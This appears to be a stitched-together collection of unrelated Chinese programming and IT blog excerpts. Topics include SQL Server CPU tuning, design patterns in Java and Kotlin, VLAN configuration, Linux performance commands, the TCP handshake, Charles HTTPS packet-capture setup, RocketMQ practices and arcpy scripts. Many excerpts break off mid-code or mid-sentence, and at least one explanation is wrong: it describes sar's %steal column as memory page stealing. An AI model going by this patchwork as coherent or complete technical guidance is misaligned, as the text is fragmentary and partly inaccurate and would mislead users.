这一电路提供了仪表放大器功能,即放大差分信号的同时抑制共模信号,但它也有些缺陷。首先,同相输入端和反相输入端阻抗相当低而且不相等。在这一例子中VIN1反相输入阻抗等于 100 kΩ,而VIN2同相输入阻抗等于反相输入阻抗的两倍,即200 kΩ。因此,当电压施加到一个输入端而另一端接地时,差分电流将会根据输入端接收的施加电压而流入。(这种源阻抗的不平衡会降低电路的CMRR。)
话不多说,先来看看效果:
1.饼图(扇形图)
2.柱状图
3.折线图
样子粗糙,见笑了。
现在来看看实现过程
一、饼图(扇形图) 1.实现思路 实现思路其实很简单,首先算传入数据数组的数据总和,然后根据每个数据占比来乘以2π,得到每个数据的弧度,然后在循环中利用UIBezierPath的addArcWithCenter: radius: startAngle: endAngle: clockwise:方法设置路径,从圆顶点,即-π/2处开始,用CAShapeLayer画出子扇区,设置好颜色和半径就完成了。
2.核心代码 CGFloat startAngle = -M_PI_2; for (int i = 0; i < self.pieDataArray.count; i++) { NSString *num = self.pieDataArray[i]; UIBezierPath *path = [UIBezierPath bezierPath]; [path addArcWithCenter:CGPointMake(pieView.bounds.size.width / 2, pieView.bounds.size.height / 2) radius:self.radius startAngle:startAngle endAngle:startAngle + [num floatValue] / total * M_PI * 2 clockwise:YES]; [path addLineToPoint:CGPointMake(pieView.bounds.size.width / 2, pieView.bounds.size.height / 2)];// 圆心 [[self colorWithHexString:self.colorArray[i]] setStroke]; [[self colorWithHexString:self.
打开注册表ctrl + F查找“Start Page”以及"Default_Page_URL",若其值为www.136156.com等第三方地址,则表示被劫持修改Start Page属性为自己想要的网站即可若有多个浏览器,则需要重复查找并修改多次若无法修改,参考https://jingyan.baidu.com/article/adc81513b7223af722bf7347.html
奇异矩阵:该矩阵的秩不是满秩,就是对应的行列式等于0的方阵。特征方程在复数范围内恒有解。故n阶矩阵复数范围内有n个特征值。一个特征值对应无穷个特征向量。(一个解系),特征向量的极大无关组是n-r
特征向量相加、减还是特征向量(齐次方程组解的性质)。对于给定的矩阵A,它的特征向量v 是经过A线性变换的线性变换后得到的新向量仍然与 v保持同一条直线上,它的长度可能会改变。矩阵是个线性变化,将矩阵A作用于向量v,若向量v方向不改变,则v是应特征值, λ \lambda λ是A作用与V后,V的长度及方向的变化量(方向仅限于不变与相反方向)
A矩阵可逆充要条件是n个特征值全不为0.(特征值的关系)
svn检出maven项目,结果出错 之前做项目,需要从svn检出maven项目到本地,检出以后发现maven结构目录不对劲,跟刚导出的普通项目目录结构差不多,上网百度了一下解决方法大概分以下几点: 1.检出maven项目后,右击删除(不要删除本地文件)
然后在import ---------existing maven project 即可解决目录结构不对的问题
2.检出maven项目后,右击项目选择configure----convert to maven project
即可解决。
3.还有一个就是在.class文件下修改配置
还有几种我就不列出来了
楼主一一试了一下这几种方法都没有解决这个问题,最后才发现,原来自己检出的maven项目是包含在一个父maven工程当中,楼主图快直接把所有子maven工程检出导致了目录结构一直不对。
解决方法:只要把父maven工程直接检出到本地,然后再执行1操作即可解决问题。
楼主还是一只努力搬砖的小程序员,希望自己的这个解决办法能够对大家有帮助
一、 常见的CPU报错 遇到这些错误时,SqlServer并发响应速度会受到影响,甚至整个服务响应都非常慢,影响业务。
1. 17883报错——某个scheduler可能有问题 如果sqlserver检查发现某个scheduler上有个task运行超过60s都没有做过Yielding,sqlserver就会在错误日志中打印有个17883错误。如果是启动以来第一次遇到17883错误,sqlserver还会生成一个mini-dump。
2. 17884和17888报错——所有scheduler都可能有问题 可能原因:
所有scheduler都遇到17883错误所有worker都被某个关键资源阻塞所有worker都在运行一个很长时间才能返回的语句 由于17884和17888报错是多个scheduler上发生的问题,对sqlserver影响会比17883更大,通常可以从sys.processes视图看出端倪。
3. 内存转储文件 当sqlserver发生重大意外时(服务无响应、崩溃等),会自动产生一个或几个内存转储文件(dump),通常需要安装WinDbg工具进行分析。
所谓的dump就是当时内存状态的一个快照。如果不做任何配置,里面就是一些0101的二进制值,为了能将某个内存地址和某个函数或变量对应起来,还需要一个叫做符号表的东西。
分析过程非常复杂,这里先不记录了。
二、 服务器CPU高问题分析 1. 消耗CPU资源较多的操作 编译和重编译排序和聚合操作表连接操作加解密压缩解压缩 2. CPU相关参数(sp_configure) 英文版
中文版
1)Boost sqlserver Priority 默认为0,设置为1可提高sqlserver进程在windows上的优先级,但并不推荐改,因为这会打乱windows正常进程调度,当sqlserver出现cpu 100%时会影响windows上其他进程。
2)Lightweight Pooling
设置sqlserver是否使用纤程(Fiber)技术,默认关闭。开启后sqlserver会在要使用线程时使用纤程。纤程调度技术能降低系统context switch数目,对一些应用来讲,能够提高性能。
但是sqlserver本身已使用scheduler技术在sqlserver级降低了context switch需求,在实际应用中,很少遇到使用纤程提高系统性能的案例。纤程调度技术毕竟使得管理更加复杂,因此该设置一般很少修改。
3)Affinity Mask
设置sqlserver固定使用某几个CPU。当服务器上除了sqlserver还要运行其他重要应用服务时,可以设置该参数限定sqlserver只使用指定CPU,防止sqlserver占用过量CPU资源影响其他应用。
还有一种情况是,当DBA怀疑sqlserver的scheduler经常在不同CPU间切换导致影响性能时,也可以设置该参数,让sqlserver的每个scheduler固定在CPU上,看能否提升性能。
4)Max Worker Threads sqlserver进程最大线程数,默认是0,即允许sqlserver在启动时自动配置工作线程数。对大多数系统而言,该设置为最佳实践,不需修改。
5)Cost Threshold of Parallelism
当一个sql串行执行的cost超过该值设置时,sqlserver会使用并行执行。默认是5,一般不需修改。这个值越大,sqlserver越倾向于串行执行计划。
6)Max Degree of Parallelism
当需要使用并行执行时,该参数决定sqlserver最多使用几个线程来并行执行一条指令。默认是0,即无限制;设置为1,则始终只能串行。建议设置值如下:
3. CPU高问题分析思路 确实服务器CPU使用率是多少,其中sqlserver占了多少检查错误日志中是否有17883、17884、17888报错或访问越界报错找出此时sqlserver在运行的最耗CPU的sql SELECT TOP 50 total_worker_time/execution_count AS [Avg CPU Time], (SELECT SUBSTRING(text,statement_start_offset/2,(CASE WHEN statement_end_offset = -1 then LEN(CONVERT(nvarchar(max), text)) * 2 ELSE statement_end_offset end -statement_start_offset)/2) FROM sys.
代理模式 android
代理模式是什么? 代理模式是一种设计模式,简单说即是在不改变源码的情况下,实现对目标对象的功能扩展。
比如有个程序员对象叫ODP,这个对象有一个写代码的方法叫code()。
public class ODP { public void code(){ Log.d("odp","我会写代码"); } } 如果此时我们想这位程序员在写代码前先去锻炼身体,写代码后去跟女性朋友约会,那我们就在code()方法里面进行拓展:
public class ODP { public void code(){ Log.d("odp","去跑步!"); Log.d("odp","我会写代码"); Log.d("odp","去越会咯~"); } } 但是往往不能直接对源代码进行修改,这时就需要用到java的代理模式了。
Java的代理模式 1.静态代理 //定义一个接口 public interface ICode { void code(); } //该ODP对象实现我们定义的接口 public class ODP implements ICode{ @Override public void code() { Log.d("odp","我会写代码"); } } //定义一个代理对象 public class ODPProxy implements ICode{ private ODP odp; public ODPProxy(ODP odp) { this.odp=odp; } @Override public void code() { Log.
Builder模式 android
构建者(Builder)模式(又叫生成器设计模式): 当一个类的内部数据过于复杂的时候(通常是负责持有数据的类,比如VO、PO、Entity...),要创建的话可能就需要了解这个类的内部结构,还有这些东西是怎么组织装配等一大坨乱七八糟的东西,这个时候就会增加学习成本而且会很混乱,这个时候就想啊想一种什么法子来管理一下这个类中的数据呢,怎么在创建的时候让它按部就班的来,并且代码可读性很好别让我看花了眼啊,我要的东西也能都很好设置进来,这就是Builder模式的应用场景,Builder模式可以将一个类的构建和表示进行分离。
看例子:
class Person { private var name: String? = null private var age: String? = null private var height: String? = null private var weight: String? = null private var sex: String? = null constructor(person: Person){ this.name=person.name this.age=person.age this.height=person.height this.weight=person.weight this.sex=person.sex } private constructor() class Builder { private val person: Person = Person() fun name(name: String): Builder { person.name = name return this } fun age(age: String): Builder { person.
在学习华为云计算IP-SAN存储这一块时,碰到了VLAN间路由,特地再次复习
一、实验拓扑
二、实验需求
PC1和PC3属于VLAN 10 ,PC2和PC四属于VLAN 20,实现不同VLAN之间的相互通讯
三、实验过程
1、配置三层交换机SW1
SW1:
sys
sys sw1
vlan b 10 20 int vlan 10 ip add 192.168.10.1 24
int vlan 20 ip add 192.168.20.1 24
int g 0/0/1
port link-type trunk
port trunk allow-pass vlan 10 20
int g 0/0/2
port link-type trunk
port trunk allow-pass vlan 10 20
q
2、配置二层交换机SW2
SW2:
sys sys sw2
vlan b 10 20 int g 0/0/1
port link-type trunk
好压压缩文件目录乱码的解决 1.打开好压软件
2.点击右上角主菜单
3.选择 代码页>更多代码页与设置
4.选择支持代码页为UTF-8,下面两个打上勾。
5.再次打开你的压缩文件,发现目录乱码问题已解决
本人用的是2345好压。
操作系统级
CPU
内存
磁盘I/O带宽
网络I/O带宽程序应用级 二、系统性能评估标准
影响性能因素
其中:
%user:表示CPU处在用户模式下的时间百分比。
%sys:表示CPU处在系统模式下的时间百分比。
%iowait:表示CPU等待输入输出完成时间的百分比。
swap in:即si,表示虚拟内存的页导入,即从SWAP DISK交换到RAM
swap out:即so,表示虚拟内存的页导出,即从RAM交换到SWAP DISK。
三、系统性能分析工具
1.常用系统命令
Vmstat、sar、iostat、netstat、free、ps、top等
2.常用组合方式
• 用vmstat、sar、iostat检测是否是CPU瓶颈
• 用free、vmstat检测是否是内存瓶颈
• 用iostat检测是否是磁盘I/O瓶颈
• 用netstat检测是否是网络带宽瓶颈
四、Linux性能评估与优化
系统整体性能评估(uptime命令)
这里需要注意的是:load average这个输出值,这三个值的大小一般不能大于系统CPU的个数,例如,本输出中系统有8个CPU,如果load average的三个值长期大于8时,说明CPU很繁忙,负载很高,可能会影响系统性能,但是偶尔大于8时,倒不用担心,一般不会影响系统性能。相反,如果load average的输出值小于CPU的个数,则表示CPU还有空闲的时间片,比如本例中的输出,CPU是非常空闲的。
CPU性能评估
(1)利用vmstat命令监控系统CPU
该命令可以显示关于系统各种资源之间相关性能的简要信息,这里我们主要用它来看CPU一个负载情况。
下面是vmstat命令在某个系统的输出结果:
Procs
r列表示运行和等待cpu时间片的进程数,这个值如果长期大于系统CPU的个数,说明CPU不足,需要增加CPU。
b列表示在等待资源的进程数,比如正在等待I/O、或者内存交换等。
Cpu
us列显示了用户进程消耗的CPU 时间百分比。us的值比较高时,说明用户进程消耗的cpu时间多,但是如果长期大于50%,就需要考虑优化程序或算法。
sy列显示了内核进程消耗的CPU时间百分比。Sy的值较高时,说明内核消耗的CPU资源很多。
根据经验,us+sy的参考值为80%,如果us+sy大于 80%说明可能存在CPU资源不足。
(2)利用sar命令监控系统CPU
sar功能很强大,可以对系统的每个方面进行单独的统计,但是使用sar命令会增加系统开销,不过这些开销是可以评估的,对系统的统计结果不会有很大影响。
下面是sar命令对某个系统的CPU统计输出:
对上面每项的输出解释如下:
%user列显示了用户进程消耗的CPU 时间百分比。
%nice列显示了运行正常进程所消耗的CPU 时间百分比。
%system列显示了系统进程消耗的CPU时间百分比。
%iowait列显示了IO等待所占用的CPU时间百分比
%steal列显示了在内存相对紧张的环境下pagein强制对不同的页面进行的steal操作 。
%idle列显示了CPU处在空闲状态的时间百分比。
问题
1.你是否遇到过系统CPU整体利用率不高,而应用缓慢的现象?
在一个多CPU的系统中,如果程序使用了单线程,会出现这么一个现象,CPU的整体使用率不高,但是系统应用却响应缓慢,这可能是由于程序使用单线程的原因,单线程只使用一个CPU,导致这个CPU占用率为100%,无法处理其它请求,而其它的CPU却闲置,这就导致了整体CPU使用率不高,而应用缓慢现象的发生。
内存性能评估
(1)利用free指令监控内存
free是监控linux内存使用状况最常用的指令,看下面的一个输出:
一般有这样一个经验公式:应用程序可用内存/系统物理内存>70%时,表示系统内存资源非常充足,不影响系统性能,应用程序可用内存/系统物理内存<20%时,表示系统内存资源紧缺,需要增加系统内存,20%<应用程序可用内存/系统物理内存<70%时,表示系统内存资源基本能满足应用需求,暂时不影响系统性能。
(2)利用vmstat命令监控内存
首先,客户端与服务器均处于未连接状态,并且是客户端主动向服务器请求建立连接:
客户端将报文段中的SYN=1,并选择一个seq=x,(即该请求报文的序号为x) 将这个报文发送到服务器。此时,客户端进入同步已发送状态(SYN-SEND).SYN报文段不能携带数据,但是要消耗掉一个序号。
服务器收到请求报文后,若同意建立连接,则回复报文中,SYN=1,ACK=1,并选择一个seq = y,且报文中确认号为x+1,序号为y .此时服务器进入同步已接收状态(SYN-RCVD)
客户端收到服务器的同步确认后,对服务器发送确认的确认。将ACK=1,确认号为y+1,而报文首部的序号为x+1,将该报文发出后,客户端进入已连接状态(ESTABLISHED)。
服务器收到客户端的确认后,也进入已连接状态。
以上即三次握手
为何使用三次握手机制:
假设如下异常情况:
客户端向服务器发送了第一条请求报文,但是该报文并未在网络中被丢弃,而是长时间阻滞在某处,而客户端收不到服务器确认,以为该报文丢失,于是重新发送该报文,这次的报文成功到达服务器,如果不使用三次握手,则服务器只需对该报文发出确认,就建立了一个连接。而在这个连接建立,并释放后,第一次发送的,阻滞在网络中的报文到达了服务器,服务器以为是客户端又重新发送了一个连接请求(实际上在客户端那里,该连接早已失效),就又向客户端发送一个确认,但客户端认为他没有发送该请求报文,因此不理睬服务器发送的确认,而服务器以为又建立了一个新的连接,于是一直等待A发来数据,造成了服务器资源的浪费,并且会产生安全隐患。因此,若使用三次握手机制,服务器发送了该确认后,收不到客户端的确认,也就知道并没有建立连接,因此不会将资源浪费在这种没有意义的等待上。
TCP连接的释放(四次挥手)
连接的释放较连接的建立复杂。
现假设客户端与服务器均处于连接建立状态,客户端主动断开连接:
1.客户端向服务器发送FIN报文:FIN=1,序号seq=上一个最后传输的字节序号+1=u,发送后,客户端进入FIN-WAIT-1状态。
2.服务器接收到该报文后,发送一个确认报文:令ACK=1,确认序号ack = u+1,自己的报文序号seq=v,发送后,服务器进入CLOSE-WAIT状态。
3.此时TCP连接进入连接半关闭状态,服务器可能还会向客户端发送一些数据。
4.客户端收到来自服务器的确认之后,进入FIN-WAIT-2状态。等待服务器发送连接释放报文。
5.如果服务器已经没有要发送的数据,则释放TCP连接,向客户端发送报文:令FIN=1,ACK=1,确认号ack =u+1,自己的序号seq = w(w可能等于v也可能大于v),服务器进入LAST-ACK状态。
6.客户端收到服务器的连接释放报文后,对该报文发出确认,令ACK=1,确认号ack=w+1,自己的序号seq=u+1,发送此报文后,等待2个msl时间后,进入CLOSED状态。
7.服务器收到客户端的确认后,也进入CLOSED状态并撤销传输控制块。
客户端状态变化:未连接----->SYN-SEND----->ESTABLISHED----->FIN-WAIT-1----->FIN-WAIT-2----->TIME-WAIT----->CLOSED
服务器状态变化:未连接----->SYN-RCVD----->ESTABLISHED----->CLOSE-WAIT----->LAST-ACK----->CLOSED
通俗描述3次握手就是
A对B说:我的序号是x,我要向你请求连接;(第一次握手,发送SYN包,然后进入SYN-SEND状态)
B听到之后对A说:我的序号是y,期待你下一句序号是x+1的话(意思就是收到了序号为x的话,即ack=x+1),同意建立连接。(第二次握手,发送ACK-SYN包,然后进入SYN-RCVD状态)
A听到B说同意建立连接之后,对A说:与确认你同意与我连接(ack=y+1,ACK=1,seq=x+1)。(第三次握手,A已进入ESTABLISHED状态)
B听到A的确认之后,也进入ESTABLISHED状态。
描述四次挥手就是:
1.A与B交谈结束之后,A要结束此次会话,对B说:我要关闭连接了(seq=u,FIN=1)。(第一次挥手,A进入FIN-WAIT-1)
2.B收到A的消息后说:确认,你要关闭连接了。(seq=v,ack=u+1,ACK=1)(第二次挥手,B进入CLOSE-WAIT)
3.A收到B的确认后,等了一段时间,因为B可能还有话要对他说。(此时A进入FIN-WAIT-2)
4.B说完了他要说的话(只是可能还有话说)之后,对A说,我要关闭连接了。(seq=w, ack=u+1,FIN=1,ACK=1)(第三次挥手)
5.A收到B要结束连接的消息后说:已收到你要关闭连接的消息。(seq=u+1,ack=w+1,ACK=1)(第四次挥手,然后A进入CLOSED)
6.B收到A的确认后,也进入CLOSED。
Charles 抓包
Mac使用Charles进行HTTPS抓包详细教程:
https://www.cnblogs.com/pengyunjing/p/9158009.html
电脑上:
第一步 配置HTTP代理:
Charles->Proxy Settings-> Proxies全勾选确定
第二步 安装电脑端根证书:
Charles->Help->SSL Proxying->Install Charles Certrificte
->证书->Charles Proxy CA->使用此证书时->设置始终信任
第三步 配置SSL代理:
Charles->SSL Proxying Settings-> SSL Proxying
点add添加需要监视的域名,支持 *号通配符,端口一般都是443:
手机上
第四步 为手机设置代理
确保手机与电脑在同一局域网内,在手机无线中配置手动代理,输入安装Charles的电脑的网络地址,端口填8888。
1、服务器: Charles->Help->Local IP Address -> IP Address
2、端口:8888
第五步 为手机安装根证书
在手机上安装Charles的根证书:
以IOS为例,在代理环境下(注意:一定要在代理环境下),在Safri上打开Charles的根证书下载网址: chls.pro/ssl 。
顺利的话会出现这样的画面,继续点安装,(下载不了可让电脑下载好再发给手机安装)然后去设置里的描述文件管理中信任它就行了。
手机->设置->通用->关于本机->证书信任设置
配置完成后mac端重启charles
各高等院校:
为贯彻落实《国家中长期教育改革和发展规划纲要 (2010-2020 年 )》和《国务院关于印发进一步鼓励软件产业和集成电路产业发展若干政策的通知》有关精神,进一步增强大学生就业竞争力,提升在校大学生的 IT 应用和实践综合能力,培养企业适用人才,推动我国软件和信息服务业健康可持续发展,传智播客决定举办首届传智杯全国大学生 IT 技能大赛。 目前,2019 全国传智杯 IT 技能大赛现已正式启动报名,各高校纷纷组织开展各种形式的竞赛人才选拔工作。为帮助高校学子进一步加深对传智杯试题的了解,协助各学校发掘校内软件人才,选拔优秀的竞赛选手,大赛组委会特举办首届传智杯大赛个人赛校内选拔活动。
现将相关事宜通知如下 :
一、大赛主题
大赛以“协万千名校育人,助天下英才圆梦”为宗旨,积极挖掘高校优秀的 IT 人才,为企业和社会输送更多 IT 高级技术型精英,全力推动互联网产业的发展。
二、大赛特色
个人参赛,现场比拼,公平公正。以赛促学,竞赛题目具有实际意义和应用背景。名企参观,近距离体验公司魅力,行业氛围。人才选拔,层层晋级选拔,优秀人才脱颖而出。 三、大赛福利
实习内推服务
企业参访
浪潮云认证工程师(ICCA)
学习大礼包
EK822 键盘、em915R 军绿版、无线鼠标
测评报告
四、大赛组织
主办单位:
江苏传智播客教育科技股份有限公司
支持单位:
院校邦、博学谷、华为、腾讯云培训认证、HHKB、科锐国际、达尔优、传智汇、猿圈科技、智联招聘
五、大赛赛项
本次大赛为个人赛,个人赛设置如下:
1、C/C++ 程序设计(本科组、高职组)
2、Java 软件开发(本科组、高职组)
六、报名条件
所有对 IT 感兴趣的大学生均可报名参赛,参赛选手必须是在校大学生 ( 学生证有效期 2019 年 7 月 1 日以后,尽量安排 2019 及 2020 年毕业生参赛 ) 比赛分为本科院校组和高职院校组,两组分别独立排名。每所院校推荐选拔 30 名选手参加大赛,每名参赛选手均需 1 名指导老师,同时 1 名指导老师可以辅导多位参赛选手。 七、报名方式
题目描述 平面上有 n 个点(任意两点的横坐标与纵坐标都不会相同),每个点向 x 轴 和 y 轴做垂线分别形成两个交点,两个交点和该点以及坐标原点构成一个矩形,并覆盖矩形内的点(在边缘上的点不算被覆盖),请输出平面上所有一次也没有被覆盖过的点。
输入 第一行一个正整数 T(T<=5),表示共有 T 组数据。
每组数据的第一行一个正整数数 n(1<=n<= 200000),表示平面上有 n 个点。
接下来 n 行每行两个正整数 x,y(1<=x,y<= 1e9)表示一个点的横纵坐标。
输出 按 x 轴坐标从小到大输出所有符合条件的点。
样例输入
1
5
8 1
17 5
9 6
12 11
13 7
样例输出
12 11
13 7
17 5
解题思路
这道题的难点在如何降低复杂度,否则会轻易的超时,其实还可以这样去解,我们对输入的坐标点从小到大排序(按照x),那么我们就可以得到,这样我们将x已经约束,所以只需要看当前坐标的纵坐标只要小于最大值,那么这个点一定会被覆盖的,如果不好理解手动排序一下,很容易看出来。
参考代码
#include <iostream> #include <algorithm> #include <cstring> #include <cstdio> #define MAX_LEN 200005 using namespace std; typedef struct POINT{ int x; int y; bool isFill; }Point; int cmp(Point a, Point b) { return a.
最佳实践 1 生产者 1.1 发送消息注意事项 1 Tags的使用 一个应用尽可能用一个Topic,而消息子类型则可以用tags来标识。tags可以由应用自由设置,只有生产者在发送消息设置了tags,消费方在订阅消息时才可以利用tags通过broker做消息过滤:message.setTags(“TagA”)。
2 Keys的使用 每个消息在业务层面的唯一标识码要设置到keys字段,方便将来定位消息丢失问题。服务器会为每个消息创建索引(哈希索引),应用可以通过topic、key来查询这条消息内容,以及消息被谁消费。由于是哈希索引,请务必保证key尽可能唯一,这样可以避免潜在的哈希冲突。
// 订单Id String orderId = "20034568923546"; message.setKeys(orderId); 3 日志的打印 消息发送成功或者失败要打印消息日志,务必要打印SendResult和key字段。send消息方法只要不抛异常,就代表发送成功。发送成功会有多个状态,在sendResult里定义。以下对每个状态进行说明:
SEND_OK 消息发送成功。要注意的是消息发送成功也不意味着它是可靠的。要确保不会丢失任何消息,还应启用同步Master服务器或同步刷盘,即SYNC_MASTER或SYNC_FLUSH。
FLUSH_DISK_TIMEOUT 消息发送成功但是服务器刷盘超时。此时消息已经进入服务器队列(内存),只有服务器宕机,消息才会丢失。消息存储配置参数中可以设置刷盘方式和同步刷盘时间长度,如果Broker服务器设置了刷盘方式为同步刷盘,即FlushDiskType=SYNC_FLUSH(默认为异步刷盘方式),当Broker服务器未在同步刷盘时间内(默认为5s)完成刷盘,则将返回该状态——刷盘超时。
FLUSH_SLAVE_TIMEOUT 消息发送成功,但是服务器同步到Slave时超时。此时消息已经进入服务器队列,只有服务器宕机,消息才会丢失。如果Broker服务器的角色是同步Master,即SYNC_MASTER(默认是异步Master即ASYNC_MASTER),并且从Broker服务器未在同步刷盘时间(默认为5秒)内完成与主服务器的同步,则将返回该状态——数据同步到Slave服务器超时。
SLAVE_NOT_AVAILABLE 消息发送成功,但是此时Slave不可用。如果Broker服务器的角色是同步Master,即SYNC_MASTER(默认是异步Master服务器即ASYNC_MASTER),但没有配置slave Broker服务器,则将返回该状态——无Slave服务器可用。
1.2 消息发送失败处理方式 Producer的send方法本身支持内部重试,重试逻辑如下:
至多重试2次(同步发送为2次,异步发送为0次)。如果发送失败,则轮转到下一个Broker。这个方法的总耗时时间不超过sendMsgTimeout设置的值,默认10s。如果本身向broker发送消息产生超时异常,就不会再重试。 以上策略也是在一定程度上保证了消息可以发送成功。如果业务对消息可靠性要求比较高,建议应用增加相应的重试逻辑:比如调用send同步方法发送失败时,则尝试将消息存储到db,然后由后台线程定时重试,确保消息一定到达Broker。
上述db重试方式为什么没有集成到MQ客户端内部做,而是要求应用自己去完成,主要基于以下几点考虑:首先,MQ的客户端设计为无状态模式,方便任意的水平扩展,且对机器资源的消耗仅仅是cpu、内存、网络。其次,如果MQ客户端内部集成一个KV存储模块,那么数据只有同步落盘才能较可靠,而同步落盘本身性能开销较大,所以通常会采用异步落盘,又由于应用关闭过程不受MQ运维人员控制,可能经常会发生 kill -9 这样暴力方式关闭,造成数据没有及时落盘而丢失。第三,Producer所在机器的可靠性较低,一般为虚拟机,不适合存储重要数据。综上,建议重试过程交由应用来控制。
1.3选择oneway形式发送 通常消息的发送是这样一个过程:
客户端发送请求到服务器服务器处理请求服务器向客户端返回应答 所以,一次消息发送的耗时时间是上述三个步骤的总和,而某些场景要求耗时非常短,但是对可靠性要求并不高,例如日志收集类应用,此类应用可以采用oneway形式调用,oneway形式只发送请求不等待应答,而发送请求在客户端实现层面仅仅是一个操作系统系统调用的开销,即将数据写入客户端的socket缓冲区,此过程耗时通常在微秒级。
2 消费者 2.1 消费过程幂等 RocketMQ无法避免消息重复(Exactly-Once),所以如果业务对消费重复非常敏感,务必要在业务层面进行去重处理。可以借助关系数据库进行去重。首先需要确定消息的唯一键,可以是msgId,也可以是消息内容中的唯一标识字段,例如订单Id等。在消费之前判断唯一键是否在关系数据库中存在。如果不存在则插入,并消费,否则跳过。(实际过程要考虑原子性问题,判断是否存在可以尝试插入,如果报主键冲突,则插入失败,直接跳过)
msgId一定是全局唯一标识符,但是实际使用中,可能会存在相同的消息有两个不同msgId的情况(消费者主动重发、因客户端重投机制导致的重复等),这种情况就需要使业务字段进行重复消费。
2.2 消费速度慢的处理方式 1 提高消费并行度 绝大部分消息消费行为都属于 IO 密集型,即可能是操作数据库,或者调用 RPC,这类消费行为的消费速度在于后端数据库或者外系统的吞吐量,通过增加消费并行度,可以提高总的消费吞吐量,但是并行度增加到一定程度,反而会下降。所以,应用必须要设置合理的并行度。 如下有几种修改消费并行度的方法:
同一个 ConsumerGroup 下,通过增加 Consumer 实例数量来提高并行度(需要注意的是超过订阅队列数的 Consumer 实例无效)。可以通过加机器,或者在已有机器启动多个进程的方式。提高单个 Consumer 的消费并行线程,通过修改参数 consumeThreadMin、consumeThreadMax实现。 2 批量方式消费 某些业务流程如果支持批量方式消费,则可以很大程度上提高消费吞吐量,例如订单扣款类应用,一次处理一个订单耗时 1 s,一次处理 10 个订单可能也只耗时 2 s,这样即可大幅度提高消费的吞吐量,通过设置 consumer的 consumeMessageBatchMaxSize 返个参数,默认是 1,即一次只消费一条消息,例如设置为 N,那么每次消费的消息数小于等于 N。
ionic-scroll 解决页面可以左右滑动但无法上下滑动(有坑) 原因 原因 那天天朗气清,惠风和畅,我在悠闲看代码,突然间有人给我发了个sos,我知道麻烦的事情来了。
对方给我了一个问题:为啥我们的页面滑动不灵敏,上下滑动需要滑动多次才能使用,使用过了几次之后我发现只是由于页面的某些区域使用了ion-scroll让该区域可以左右滑动,我一度认为这是无法解决的,之所以他在某些情况下也能滑动
该区域原因是他刚好触摸到了边界区域。
在对方的要求下我就和另一名同事找了好久的解决办法, 想到了两种解决办法:
1.使用css将ion-scroll替换为div,此时可以上下滑动,但无法左右滑动。
2.利用javascript构建监听事件,完成滑动过程。
由于方法1很替换后产生了新问题,方法2,我js底子薄所以都失败了。
后来找到一篇博文解决了我的问题,原文找不到,我直接写吧:
1.在ion-scroll标签中添加 zooming=“true” ng-style=“scrollHeight”
2.在js里添加$scope.scrollHeight={height:’’+document.body.scrollHeight+‘px’};
3.在浏览器里测试OK解决了,但是部分区域高度变得非常小,所以 需要在
这个ion-scroll的父标签里固定一个高度。height=120px,写法随意反正只是为了把被遮住的部分展示出来。
4.放手机端后,欧天哪无法使用,页面混乱。没关系返回浏览器调试一下页面,至于无法使用的问题,看一下代码里:
$scope.scrollHeight={height:’’+document.body.scrollHeight+‘px’};
这段话为什么要设置一个高度是这个呢,潜意识里我认为不需要那么大的height,所以手动写成:
$scope.scrollHeight={height:’’+1+‘px’};
写的足够小,结果实验手机端ok。
但是页面有了问题。两指放在滑动区域,轻轻展开,两指缩放功能映入眼前。这不是需求里的内容。咋办?难道是ng-style的问题?
答案不是,及时把ng-style改成height:1px仍然有这个问题。
目前无法解决。所以优缺点并存,自己看着办,如果你解决了这个双指放大的问题记得告诉我,谢谢。
重点看字吧。
查找资料发现是maven的测试类存放路径的问题
如果修改了文件默认编译位置那么maven去默认的路径下找class文件肯定找不到
所以
图中的2,3都要改,操作步骤如下图所示
装饰者模式 1.装饰者模式,动态地将责任附加到对象上。若要扩展功能,装饰者提供了比继承更加有弹性的替代方案。 2.关系图(模拟场景:给咖啡添加不同的配料,显示不同的价格)
3.装饰者模式的优缺点
优点 1、装饰者模式可以提供比继承更多的灵活性。
2、可以通过一种动态的方式来扩展一个对象的功能,在运行时选择不同的装饰器,从而实现不同的行为。
3、通过使用不同的具体装饰类以及这些装饰类的排列组合,可以创造出很多不同行为的组合。可以使用多个具体装饰类来装饰同一对象,得到功能更为强大的对象。
4、具体构件类与具体装饰类可以独立变化,用户可以根据需要增加新的具体构件类和具体装饰类,在使用时再对其进行组合,原有代码无须改变,符合“开闭原则”。
缺点 1、会产生很多的小对象,增加了系统的复杂性。
2、这种比继承更加灵活机动的特性,也同时意味着装饰模式比继承更加易于出错,排错也很困难,对于多次装饰的对象,调试时寻找错误可能需要逐级排查,较为烦琐。
4.装饰者的使用场景 1、在不影响其他对象的情况下,以动态、透明的方式给单个对象添加职责。 2、需要动态地给一个对象增加功能,这些功能也可以动态地被撤销。 当不能采用继承的方式对系统进行扩充或者采用继承不利于系统扩展和维护时。
5.上代码
abstract class Coffee { internal var description = "Unknown Coffee" open fun getDescription(): String { return this.description } abstract fun cost(): Double } class Black : Coffee() { init { this.description = "Black" } override fun cost(): Double { return 15.5 } } abstract class CoffeeDecoration : Coffee() { @Override abstract override fun getDescription(): String } class Milk(private val coffee: Coffee) : CoffeeDecoration() { override fun getDescription(): String { return coffee.
通常我们在解决实际问题时候,可能会遇到将坐标数据转为shp点数据,在数据量很小,或者经纬度坐标直接给出的excel表中可以通过直接导入arcgis进行转化成点或者面shp数据。而在实际问题中,我们也会遇到下面这种情况:
给出批量的txt形式的气象站点数据,如何将其直接转化为arcgis中的点或者面数据,就是今天我们要解决的问题。如下如,我自己先建立一个txt文本数据
然后利用代码直接构建出利用txt数据直接转shp数据。代码贴出:
#coding:utf-8 import os import arcpy txt_filename = 'C:/Users/Administrator/Desktop/data1.txt' path='C:/Users/Administrator/Desktop/' outputname="polygontest.shp" dir=path+outputname; in_file = open(txt_filename,'r'); spatRef = arcpy.SpatialReference(4326) createFC = arcpy.CreateFeatureclass_management(os.path.dirname(dir), os.path.basename(dir), "POLYGON", "", "", "",spatRef) #创建字段 arcpy.AddField_management(createFC, "index", "TEXT", 50) # 左下角 arcpy.AddField_management(createFC, "minX", "TEXT", 50) arcpy.AddField_management(createFC, "minY", "TEXT", 50) # 右上角 arcpy.AddField_management(createFC, "maxX", "TEXT", 50) arcpy.AddField_management(createFC, "maxY", "TEXT", 50) cur = arcpy.InsertCursor(createFC) for line in in_file: p = line.split(','); array = arcpy.Array() index=p[0] minX=p[1] minY=p[2] maxX=p[3] maxY=p[4] pointLB = arcpy.
